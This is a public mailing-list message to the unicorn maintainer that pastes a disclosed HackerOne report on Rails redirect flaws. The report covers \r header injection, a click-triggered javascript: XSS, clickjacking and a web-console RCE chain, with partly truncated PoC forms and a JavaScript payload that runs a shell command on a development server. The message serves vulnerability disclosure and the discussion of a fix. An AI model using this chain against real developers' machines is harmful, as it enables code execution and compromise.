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From: Sam Sanoop <sams@snyk.io>
To: Eric Wong <bofh@yhbt.net>
Cc: unicorn-public@yhbt.net
Subject: Re: [RFC] http_response: ignore invalid header response characters
Date: Wed, 13 Jan 2021 23:20:06 +0000	[thread overview]
Message-ID: <CAEQPCYLpr-w2K9eg-nnFaKgdDBvVU3h3+1bs-xWEC6CwTrDdzQ@mail.gmail.com> (raw)
In-Reply-To: <20210106175338.GA10985@dcvr>

Hi, The researcher didn’t test it with Ngnix, his configuration
according to the report was

server: unicorn (<= latest)
Rails version: 6.0.0 < rails <
RAILS_ENV: production

But reading http://blog.volema.com/nginx-insecurities.html, CRLF can
be allowed if a user is using $uri variables within their NGINX
config. So conditions within NGNIX would need to be met.

Regarding the hackerone report, here is a txt version of the report:


I was looking at the change log
for CVE-2020-8185 and found another problem existed.


  redirect_to request.params[:location]

  def actionable_request?(request)
    request.show_exceptions? && request.post? && request.path == endpoint

  def redirect_to(location)
    body = "<html><body>You are being <a

    [302, {
      "Content-Type" => "text/html; charset=#{Response.default_charset}",
      "Content-Length" => body.bytesize.to_s,
      "Location" => location,
    }, [body]]
There was an open redirect issue because the request parameter
location was not validated.
In, since the condition of actionable_request? has changed,
this problem is less likely to occur.

1. Prepare server
Prepare an attackable version of Rails server

❯ rails -v

❯ RAILS_ENV=production rails s
* Environment: production
* Listening on tcp://
2. Attack server
Prepare the server for attack on another port.

<form method="post"
    <button type="submit">click!</button>
python3 -m http.server 8000
3. Open browser
Open the http://localhost:8000/attack.html url in your browser and
click the button.
Redirect to https://www.hackerone.com/ url.

It will be fixed with as with
but I think it is necessary to announce it again because the range of
influence is different.

This open redirect changes from POST method to Get Method, so it may
be difficult to use for phishing.On the other hand, it may affect
bypass of referrer check or SSRF.


I thought about it after submitting the report, but even in,
/rails/actions is available in developer mode.
If it was started in development mode, the request will be accepted by
CSRF, so the same as CVE-2020-8185 still exists.
I think it's better to take CSRF measures in /rails/actions.

Vulnerabilities, versions and modes (production, development)
run pending migrations (CVE-2020-8185)
open redirect (development)
run pending migrations (by CSRF)
open redirect (by CSRF) (production)
no problem

tenderloveRuby on Rails staff -------

This seems like a good improvement, but I don't think we need to treat
it as a security issue. If you agree, would you mind filing an issue
on the Rails GitHub issues?
Thank you!


I'm sorry to reply late.

While researching unicorn, I found this report to lead to other vulnerabilities.

Open Redirect to HTTP header injection
Response header injection vulnerability exists in versions of puma below 4.3.2.
I have confirmed that unicorn is also enable of response header injection.

HTTP header injection is possible by including \r in the redirect URL
using these.

> escape("\rSet-cookie:a=a")
This is the html used on the attack server.

<form method="post"
  <button type="submit">set cookie</button>
When click this button, the response header will be as follows.

Set-cookie: a=a
If you open the developer tools in your browser, you'll see that the
cookie value is set.

When I tried it, puma and unicorn can insert only the character of \r,
and it seems that \n cannot be inserted.
Therefore, it seems that response body injection that leads to XSS
cannot be performed.

On the other hand, in passenger, it became an error when \r was in the
value of the header.

XSS trick
While trying out \r on the response header, I noticed a strange thing.
If \r is at the beginning, it means that the browser is not redirected
and javascript: can be used in the URL of the response link.
When specify \rjavascript:alert(location) as the redirect destination,
the HTML of the response will be as follows.

<html><body>You are being <a href="
The \r character is ignored in html, so javascript:alert(location) is
executed when the user clicks the link.

This is a separate issue from HTTP header injection and depends on how
the server handles the value of \r.
In puma and unicorn below 4.3.2, \r is used for HTTP header injection,
so no error occurs.
With puma 4.3.3 or later, if there is a line containing \r, it does
not become an error and it can be executed because that line is
On the other hand, the error occurred in passenger.

As a further issue, the headers in this response are
middleware-specific and therefore do not include the security headers
Rails is outputting.
Since X-Frame-Options is not included, click jacking is possible.
No output even if CSP is set in the application.

By using click jacking in combination with these, it is easy to
generate XSS that requires user click.

Inserting the execution code from another site using the name of the iframe.

This PoC will also run in production mode if 6.0.0 < rails <
It can be run with the latest puma and unicorn.

If it is development mode, it can be executed even after

<form method="post"
    <button type="submit">location is escape("\rjavascript:eval(name)")</button>
<script type="text/javascript">
    position: absolute;
    z-index: 1;
    opacity: 0.3;
    position: absolute;
    top: 20px;
    left: 130px;
button {
    width: 80px;
    height: 26px;
    cursor: pointer;
    <iframe src=./child.html name="alert(location)" height=40></iframe>

When XSS exists in development mode, I confirmed that calling the
method of web-cosole leads to RCE.
RCE is possible by inducing users who are developing Rails
applications to click on the trap site.

var iframe = document.createElement("iframe");
iframe.src = "/not_found";
setTimeout(()=>fetch("/__web_console/repl_sessions/" +
iframe.contentDocument.querySelector("#console").dataset.sessionId, {
    method: "PUT",
    headers: {
        "Content-Type": "application/json",
        "X-Requested-With": "XMLHttpRequest"
    body: JSON.stringify({
        input: "`touch from_web_console`"
}), 2000)
<iframe src=./child.html name='var iframe =
document.createElement("iframe");iframe.src =
{method: "PUT",headers: {"Content-Type":
"application/json","X-Requested-With": "XMLHttpRequest"},body:
JSON.stringify({input: "`touch from_web_console`"})}),2000)'/>
When this is run, a file from from_web_console will be generated.

Vulnerabilities and conditions
Run pending migrations (CVE-2020-8185)
server: any

Rails version: 6.0.0 < rails <
RAILS_ENV: production

Run pending migrations by CSRF
server: any

Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development

Open redirect (from POST method)
server: any

Rails version: 6.0.0 < rails <
RAILS_ENV: production


Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development

HTTP header injection
server: unicorn (<= latest) or puma (< 4.3.2)

Rails version: 6.0.0 < rails <
RAILS_ENV: production


Rails version: 6.0.0 < (not fixed)
RAILS_ENV: development

XSS (need user click)
server: unicorn (<= latest) or puma (<= latest)

Railse version: 6.0.0 < rails <
RAILS_ENV: production


Railse version: 6.0.0 < (not fixed)
RAILS_ENV: development

RCE (from XSS)
server: unicorn (<= latest) or puma (<= latest)
Railse version: 6.0.0 < (not fixed)
RAILS_ENV: development


When I tried it, puma and unicorn can insert only the character of \r,
and it seems that \n cannot be inserted.
Makes sense. This seems like a security vulnerability in Puma / Unicorn.
This is a separate issue from HTTP header injection and depends on how
the server handles the value of \r.
I'm not sure exactly which servers are vulnerable (this is too
confusing for me 😔), but whatever handles generating the response
page shouldn't allow \r at the beginning of the href like that.
So this needs to check that location is a url (http or https).
I don't think we need to set the security policy for the redirect page
if we prevent the javascript: location from the href.
How does this patch look?

On Wed, Jan 6, 2021 at 5:53 PM Eric Wong <bofh@yhbt.net> wrote:
> Sam Sanoop <sams@snyk.io> wrote:
> > Hi Eric,
> cf. https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/
> (private followup <CAEQPCYJJdriMQyDNXimCS_kBrc_=DxhxJ66YdJmCe7ZXr-Zbvg@mail.gmail.com>)
> Hi Sam, I'm moving this to the public list.  Please keep
> unicorn-public@yhbt.net Cc-ed (no need to quote, archives are
> public and mirrored to several places).
> > I wanted to bring this up again. I spoke with the researcher
> > (@ooooooo_q) who disclosed this issue to us. He released the full
> > details including the HackerOne report pubclily which provided more
> > clarity about this issue. That can be read here:
> > https://hackerone.com/reports/904059#activity-8945588
> Note: I can't read anything on hackerone due to the JavaScript
> requirement.  If somebody can copy the text here, that'd be
> great.
> > That report was initially disclosed to the Ruby on Rails maintainers.
> > In certain conditions, he was also able to leverage Puma and Unicorn
> > to exploit the issues mentioned on the report. The issues which
> > related to Unicorn were:
> >
> > * Open Redirect to HTTP header injection - (including \r in the redirect URL)
> > * A user interaction XSS  - Which leverages
> > \rjavascript:alert(location) as the redirect destination
> Does this happen when unicorn is behind nginx?
> unicorn was always designed to run behind nginx and falls over badly
> without it (trivially DoS-ed via slowloris)
> > Reading that advisory, I see this more of an issue now. He has
> > leveraged Unicorn and Puma along with Rails to demonstrate some of the
> > proof of concepts. Under the section Vulnerabilities and conditions of
> > the report, he has specified different conditions and configurations
> > which allow for this vector.
> >
> > I agree with Aaron Patterson's (Rails Staff) decision on that report,
> > this should be fixed in Unicorn and Puma directly, and Puma has
> > already fixed this and issued an advisory:
> > https://github.com/puma/puma/security/advisories/GHSA-84j7-475p-hp8v.
> >
> > I believe there is enough of a risk to fix this issue. What do you think?
> While we follow puma on some things (as in recent non-rack
> features), I'm not sure if this affects unicorn the same way it
> affects puma and other servers (that are supported without nginx).
> Fwiw, I've been against client-side JavaScript for a decade, now.
> Libre license or not; the complexity of JS gives us a never-ending
> stream of vulnerabilities, wasted RAM, CPU cycles, and bandwidth
> use from constant software updates needed to continue the game of
> whack-a-mole.
> rest of thread below (top-posting corrected):
> > > On Sun, Jan 3, 2021 at 10:20 PM Eric Wong <bofh@yhbt.net> wrote:
> > > >
> > > > Sam Sanoop <sams@snyk.io> wrote:
> > > > > Hey Eric,
> > > > >
> > > > > Happy New Year. I want to follow up on the [RFC] http_response: ignore
> > > > > invalid header response character RFC for the CRLF injection we spoke
> > > > > about previously. I wanted to know what would be the timeline for your
> > > > > patch to get merged and what additional steps there are before that
> > > > > can happen.
> > > >
> > > > Hi Sam, honestly I have no idea if it's even necessary...
> > > > I've had no feedback since 2020-11-26:
> > > >   https://yhbt.net/unicorn-public/20201126115902.GA8883@dcvr/
> > > >
> > > > Meanwhile 5.8.0 was released 2020-12-24 with a feature somebody
> > > > actually cared about.
> > > >
> > > > Again, unicorn falls over without nginx in front of it anyways,
> > > > so maybe nginx already guards against this and extra code is
> > > > unnecessary on my end.
> >
> > On Sun, Jan 3, 2021 at 11:03 PM Sam Sanoop <sams@snyk.io> wrote:
> > >
> > > Hey Eric,
> > >
> > > No problem, I understand. Since the injection here is happening within
> > > the response, I am not convinced if this is exploitable as well. I
> > > have let the reporter of this issue know what your stance is. I
> > > mentioned if he can provide a better Proof of Concept where this is
> > > exploitable in the context of a http request, and look into this a bit
> > > further, we can open up discussion again, or else, this is not worth
> > > fixing.


Sam Sanoop
Security Analyst

  reply	other threads:[~2021-01-13 23:20 UTC|newest]

Thread overview: 8+ messages / expand[flat|nested]  mbox.gz  Atom feed  top
2020-11-26 11:59 [RFC] http_response: ignore invalid header response characters Eric Wong
2021-01-06 17:53 ` Eric Wong
2021-01-13 23:20   ` Sam Sanoop [this message]
2021-01-14  4:37     ` Eric Wong
2021-01-28 17:29       ` Sam Sanoop
2021-01-28 22:39         ` Eric Wong
2021-02-17 21:46           ` Sam Sanoop
2021-02-26 11:15 ` Eric Wong

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